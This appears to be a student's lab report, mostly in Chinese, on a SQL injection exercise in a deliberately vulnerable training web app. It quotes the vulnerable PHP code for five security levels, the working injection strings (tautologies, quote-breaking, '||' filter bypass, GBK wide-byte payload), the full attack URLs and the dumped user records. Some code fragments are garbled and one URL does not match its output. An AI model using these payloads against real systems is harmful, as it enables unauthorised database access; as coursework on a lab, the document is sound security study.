1.Finish all six challenge on the website,or give the reason why the protection is unbreakable(need an experiment report ).
2(Extended work).Tell me why [input = a’ or ‘1=1’ or ‘1=1] doesn’t work on the login website in your experiment report.
View Source
,查看PHP连接后台数据库的源代码:
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
$id
变量的漏洞进行sql注入,向User ID
文本框中输入查询字符串1=1 or 1=1
,URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit
,获得如下数据库信息:ID: 1=1 or 1=1
First name: admin
Surname: admin
ID: 1=1 or 1=1
First name: Gordon
Surname: Brown
ID: 1=1 or 1=1
First name: Hack
Surname: Me
ID: 1=1 or 1=1
First name: Pablo
Surname: Picasso
ID: 1=1 or 1=1
First name: Bob
Surname: Smith
Level 1注入成功。
2.设置安全等级为2:Security Level = 2.
View Source
,查看PHP连接后台数据库的源代码:
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
$getid
变量中是WHERE user_id = $id
,而2的$getid
变量中是WHERE user_id = '$id'
,多了单引号。于是可以将输入查询串改为abc' or '1=1
,将单引号过 滤掉。URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=abc'+or+'1=1&Submit=Submit
,获得如下数据库信息:ID: abc' or '1=1
First name: admin
Surname: admin
ID: abc' or '1=1
First name: Gordon
Surname: Brown
ID: abc' or '1=1
First name: Hack
Surname: Me
ID: abc' or '1=1
First name: Pablo
Surname: Picasso
ID: abc' or '1=1
First name: Bob
Surname: Smith
Level 2注入成功。
3.设置安全等级为3:Security Level = 3.
View Source
,查看PHP连接后台数据库的源代码:
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
if (preg_match('/ |\'/',$id))
{
echo die(''
. 'Contain invalid characters.' . '
');
$num = 0;
}
else
{
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die(''. mysql_error() . '' ); $num = mysql_numrows($result); } $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '
'; echo 'ID: ' . $id . '
if (preg_match('/ |\'/',$id))
,这个正则表达式的含义是,如果$id
变量中含有空格或者单引号,则输出 错误信息'Contain invalid characters.
。于是我们尝试不用空格和单引号进行注入, 将输入查询串改为1||1
,利用||
的布尔连接符,实施注入。ID: 1||1
First name: admin
Surname: admin
ID: 1||1
First name: Gordon
Surname: Brown
ID: 1||1
First name: Hack
Surname: Me
ID: 1||1
First name: Pablo
Surname: Picasso
ID: 1||1
First name: Bob
Surname: Smith
Level 3注入成功。
4.设置安全等级为4:Security Level = 4.
View Source
,查看PHP连接后台数据库的源代码:
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
$id = mysql_real_escape_string($id);
,函数mysql_real_escape_string
主要是为了数据库防注入、以及语句正确性等需要,将读写语句中的特殊字符进行转换: \x00 \n \r \ ' " \x1a
,如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。但最终写入到数据库中的内容,依旧是转义前的,也就是当读出来的时候,依旧是原来转义前的内容。所以,若注入语句中不包含特殊符号,依然可以成功注入,利用和Level1中相同的语句1=1 or 1=1
进行注入,此时,URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=1||1&Submit=Submit
,获得如下数据库信息:ID: 1=1 or 1=1
First name: admin
Surname: admin
ID: 1=1 or 1=1
First name: Gordon
Surname: Brown
ID: 1=1 or 1=1
First name: Hack
Surname: Me
ID: 1=1 or 1=1
First name: Pablo
Surname: Picasso
ID: 1=1 or 1=1
First name: Bob
Surname: Smith
Level 4注入成功。
5.设置安全等级为5:Security Level = 5.
View Source
,查看PHP连接后台数据库的源代码:
if (isset($_GET['Submit'])) {
// Retrieve data
mysql_query('SET NAMES gbk');
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
echo '' . $getid . '';
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
mysql_query('SET NAMES gbk');
,且变量$getid
中的$id
变量两边和Level 2一样是有单引号的。以上语句将编码设置为gbk
,我们可以在此利用宽字符注入的方式来获取数据库内容。设计$id
值为abc%df%27%20or%201=1%20%23
,并修改url地址为http://202.38.79.49:8888/vulnerabilities/sqli/?id=abc%df%27%20or%201=1%20%23&Submit=Submit
,获得如下数据库信息: Level 5注入成功。
View Source
,查看PHP连接后台数据库的源代码:
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(''
. mysql_error() . '
' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo ''; echo 'ID: ' . $id . '
$id = stripslashes($id);
,stripslashes() 函数删除由mysql_real_escape_string() 函数添加的反斜杠,如果有两个连续的反斜线 ,则只去掉一个。